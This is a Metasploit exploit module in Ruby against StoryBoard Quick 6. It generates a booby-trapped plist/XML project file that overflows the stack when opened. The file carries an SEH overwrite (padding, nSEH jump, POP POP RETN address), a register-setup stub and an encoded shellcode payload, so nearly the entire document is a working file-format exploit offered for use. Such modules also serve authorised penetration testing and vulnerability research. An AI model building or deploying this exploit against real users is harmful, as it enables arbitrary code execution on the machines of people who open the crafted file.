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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'StoryBoard Quick 6 Memory Corruption Vulnerability',
'Description' => %q{
This module exploits a stack-based buffer overflow in StoryBoard Quick 6.
},
'License' => MSF_LICENSE,
'Author' => [ 'vt [nick.freeman@security-assessment.com]' ],
'Version' => '$Revision: 10394
,
'References' =>
[
[ 'URL', 'http://security-assessment.com/files/documents/advisory/StoryBoard_Quick_6-Stack_Buffer_Overflow.pdf' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX',
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Default (WinXP SP3 No DEP)',
{
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 30 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', "Frame-001.xml"]),
], self.class)
end
def exploit
template = %Q|<plist version="1.0">
<dict>
<key>ID</key>
<integer>1</integer>
<key>Objects</key>
<array>
<dict>
<key>Size-X</key>
<real>134.00000000</real>
<key>Size-Y</key>
<real>667.00000000</real>
<key>Type</key>
<string>cLIB</string>
<key>Library</key>
<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>
<key>ID</key>
<string>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAREPLACE_1BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.xo</string>
<key>Colorization</key>
<dict>
<key>Arms</key>
<string>ff4b70ff</string>
<key>Eyes</key>
<string>ff00ff00</string>
<key>Hair</key>
<string>ff68502d</string>
<key>Face</key>
<string>fffdd8a1</string>
<key>REPLACE_2</key>
<string>ff070707</string>
<key>Skin</key>
<string>ffd7b583</string>
<key>Legs</key>
<string>ff06007e</string>
</dict>
<key>Whom</key>
<string>LINDA</string>
<key>Scale-X</key>
<real>0.74842578</real>
<key>Scale-Y</key>
<real>0.74842578</real>
<key>Offset-Y</key>
<real>41.60000610</real>
</dict>
<dict>
<key>Size-X</key>
<real>310.00000000</real>
<key>Size-Y</key>
<real>575.00000000</real>
<key>Type</key>
<string>cLIB</string>
<key>Library</key>
<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 2.artgrid</string>
<key>ID</key>
<string>30012.xo</string>
<key>Colorization</key>
<dict>
<key>Arms</key>
<string>ff909090</string>
<key>Eyes</key>
<string>ff00ff00</string>
<key>Hair</key>
<string>ff090909</string>
<key>Face</key>
<string>ffff0837</string>
<key>Shoe</key>
<string>ff1100c2</string>
<key>Skin</key>
<string>ffb78d4f</string>
<key>Legs</key>
<string>ff050505</string>
</dict>
<key>Whom</key>
<string>C.J.</string>
<key>Scale-X</key>
<real>0.86817396</real>
<key>Scale-Y</key>
<real>0.86817396</real>
<key>Offset-Y</key>
<real>41.60000610</real>
</dict>
<dict>
<key>IsSelected</key>
REPLACE_3<true/>
<key>Size-X</key>
<real>682.00000000</real>
<key>Size-Y</key>
<real>565.00000000</real>
<key>Type</key>
<string>cLIB</string>
<key>Library</key>
<string>C:\\Program Files\\StoryBoard Quick 6\\Libraries\\Characters\\Woman 1.artgrid</string>
<key>ID</key>
<string>30013.xo</string>
<key>Colorization</key>
<dict>
<key>Arms</key>
<string>ff4b70ff</string>
<key>Eyes</key>
<string>ff00ff00</string>
<key>Hair</key>
<string>ff68502d</string>
<key>Face</key>
<string>fffdd8a1</string>
<key>Shoe</key>
<string>ff070707</string>
<key>Skin</key>
<string>ffd7b583</string>
<key>Legs</key>
<string>ff06007e</string>
</dict>
<key>Whom</key>
<string>LINDA</string>
<key>Scale-X</key>
<real>0.95718473</real>
<key>Scale-Y</key>
<real>0.95718473</real>
<key>Offset-Y</key>
<real>62.40469360</real>
</dict>
</array>
<key>FrameDB</key>
<dict>
<key>TXT-0006</key>
<data>
MDYvMDMvMTEgMjM6Mjg6MDMA
</data>
</dict>
<key>UN-Thumb</key>
<true/>
</dict>
</plist>
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sploit = template.gsub(/REPLACE_1/, "\xd9\xcf\xe5\x74")
padd = "\x43" * 4256
nseh = "\x90\xeb\x06\x90"
seh = "\x25\x12\xd1\x72" # POP, POP, RETN
nops = "\x90"*9
# set buffer register
bufregstub = "\x8b\xc4" # mov eax, esp
bufregstub += "\x33\xc9" # xor ecx
bufregstub += "\x83\xc1\x7f" # add ecx, 7f
bufregstub += "\x6b\xc9\x17" # imul ecx,17
bufregstub += "\x83\xc1\x7b" # add ecx,7b
bufregstub += "\x03\xc1" # add eax,ecx # eax now points to buffer, ready to decode shellcode.
sploit = sploit.gsub(/REPLACE_2/,padd + nseh + seh + nops + bufregstub + payload.encoded + ("\x44"*(11137-payload.encoded.length)))
sploit = sploit.gsub(/REPLACE_3/, "\x45"*658)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(sploit)
end
end
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